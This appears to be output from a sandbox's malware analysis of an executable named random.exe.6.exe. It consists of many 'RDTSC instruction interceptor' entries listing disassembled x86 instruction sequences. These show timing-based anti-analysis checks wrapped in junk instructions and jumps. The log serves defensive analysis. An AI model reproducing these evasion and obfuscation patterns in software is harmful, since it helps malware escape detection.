Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCA158 second address: CCA15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCA15E second address: CCA162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC92F6 second address: CC92FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C794AE second address: C794B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C794B2 second address: C794C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F62B85207D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCC73E second address: CCC759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCC92B second address: CCC92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCC92F second address: CCC938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCE963 second address: CCE97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207E7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCE97F second address: CCE9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F62B87735E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCEA2F second address: CCEA3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCDABA second address: CCDAC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCDAC7 second address: CCDACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCDACB second address: CCDAE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD07F7 second address: CD0804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F62B85207D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD17A9 second address: CD17BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD17BF second address: CD17C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD1998 second address: CD199C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD1A50 second address: CD1A6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD1A6F second address: CD1A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD9677 second address: CD9687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F62B85207D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD9687 second address: CD968D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD968D second address: CD9693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD9693 second address: CD9697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD9697 second address: CD969D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD99FE second address: CD9A03 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CD9A03 second address: CD9A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CDEE32 second address: CDEE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c ja 00007F62B87735D8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CDEE4A second address: CDEE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CDEE4E second address: B0EE3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jbe 00007F62B87735E1h 0x00000011 jmp 00007F62B87735DBh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jne 00007F62B87735E0h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jmp 00007F62B87735DDh 0x00000027 pop eax 0x00000028 cmc 0x00000029 push dword ptr [ebp+122D0A4Dh] 0x0000002f cmc 0x00000030 call dword ptr [ebp+122D1CDBh] 0x00000036 pushad 0x00000037 jmp 00007F62B87735E0h 0x0000003c xor eax, eax 0x0000003e sub dword ptr [ebp+122D1DD8h], esi 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 jp 00007F62B87735DCh 0x0000004e mov dword ptr [ebp+122D2EFAh], eax 0x00000054 xor dword ptr [ebp+122D1EC8h], esi 0x0000005a mov esi, 0000003Ch 0x0000005f jno 00007F62B87735E6h 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 jg 00007F62B87735D7h 0x0000006f clc 0x00000070 lodsw 0x00000072 jmp 00007F62B87735DEh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b pushad 0x0000007c pushad 0x0000007d jg 00007F62B87735D6h 0x00000083 mov ecx, dword ptr [ebp+122D3026h] 0x00000089 popad 0x0000008a popad 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f sub dword ptr [ebp+122D1D4Fh], eax 0x00000095 nop 0x00000096 push eax 0x00000097 push edx 0x00000098 push eax 0x00000099 push edx 0x0000009a jmp 00007F62B87735DEh 0x0000009f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3AD1 second address: CE3ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3ADD second address: CE3AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3AE3 second address: CE3AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE28AE second address: CE28C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F62B87735DAh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE28C3 second address: CE28C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE28C9 second address: CE28E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE28E9 second address: CE28EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE28EF second address: CE2907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F62B87735DBh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE2907 second address: CE2918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F62B85207D8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE2F82 second address: CE2F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F62B87735E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE2F9D second address: CE2FB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F62B85207D6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F62B85207D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3114 second address: CE311A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE311A second address: CE3131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F62B85207DAh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3131 second address: CE314C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3529 second address: CE353B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE353B second address: CE3550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F62B87735DDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE3550 second address: CE3582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E1h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F62B85207D6h 0x00000014 jmp 00007F62B85207E2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7AC9 second address: CE7AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7AD2 second address: CE7AE9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F62B85207E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7AE9 second address: CE7AF9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62B87735E2h 0x00000008 jo 00007F62B87735D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7AF9 second address: CE7B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F62B85207E8h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F62B85207DEh 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7B22 second address: CE7B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pushad 0x00000006 popad 0x00000007 jno 00007F62B87735D6h 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CE7B34 second address: CE7B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CEC034 second address: CEC050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B87735DEh 0x00000009 pop edi 0x0000000a push ebx 0x0000000b js 00007F62B87735D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB386E second address: C9C02E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62B85207E4h 0x0000000f nop 0x00000010 mov edx, dword ptr [ebp+122D2C52h] 0x00000016 call dword ptr [ebp+12449CA1h] 0x0000001c pushad 0x0000001d push esi 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jmp 00007F62B85207DCh 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F62B85207DCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB390E second address: CB3918 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB3918 second address: CB391C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB391C second address: CB3929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB3929 second address: CB392D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB392D second address: CB3931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB3D99 second address: CB3DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F62B85207EDh 0x0000000a jmp 00007F62B85207E7h 0x0000000f popad 0x00000010 add dword ptr [esp], 06680D2Fh 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F62B85207D8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dh, C6h 0x00000033 push CE54219Ah 0x00000038 pushad 0x00000039 push ebx 0x0000003a pushad 0x0000003b popad 0x0000003c pop ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push edi 0x00000040 pop edi 0x00000041 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40A8 second address: CB40E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push ecx 0x0000000a jmp 00007F62B87735E2h 0x0000000f pop ecx 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jc 00007F62B87735F4h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F62B87735E2h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40E4 second address: CB40E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40E8 second address: CB40F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40F6 second address: CB40FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40FA second address: CB4100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4356 second address: CB435B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB435B second address: CB439F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62B87735E8h 0x00000008 jmp 00007F62B87735E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F62B87735E6h 0x00000017 jc 00007F62B87735D6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jp 00007F62B87735D6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B29 second address: CB4B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B2D second address: CB4B33 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B33 second address: CB4B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B39 second address: CB4B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jg 00007F62B87735D8h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B62 second address: CB4B73 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62B85207D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B73 second address: CB4B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B79 second address: CB4B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4B89 second address: CB4B8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4C83 second address: C9CADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F62B85207E9h 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1C90h], esi 0x00000013 call dword ptr [ebp+1245D7E8h] 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007F62B85207EFh 0x00000021 jmp 00007F62B85207E3h 0x00000026 jo 00007F62B85207D6h 0x0000002c jmp 00007F62B85207DDh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB40A0 second address: CB40A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CEB697 second address: CEB6C8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62B85207E9h 0x00000008 jmp 00007F62B85207E3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62B85207DEh 0x00000014 jnl 00007F62B85207D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CEB6C8 second address: CEB6CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CEBBF8 second address: CEBC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jo 00007F62B85207DEh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CEBC09 second address: CEBC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF06BC second address: CF06CC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62B85207E2h 0x00000008 je 00007F62B85207D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF06CC second address: CF06E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F62B87735D6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF06E5 second address: CF06F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jl 00007F62B85207D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF0B1B second address: CF0B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF0B1F second address: CF0B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F62B85207DAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
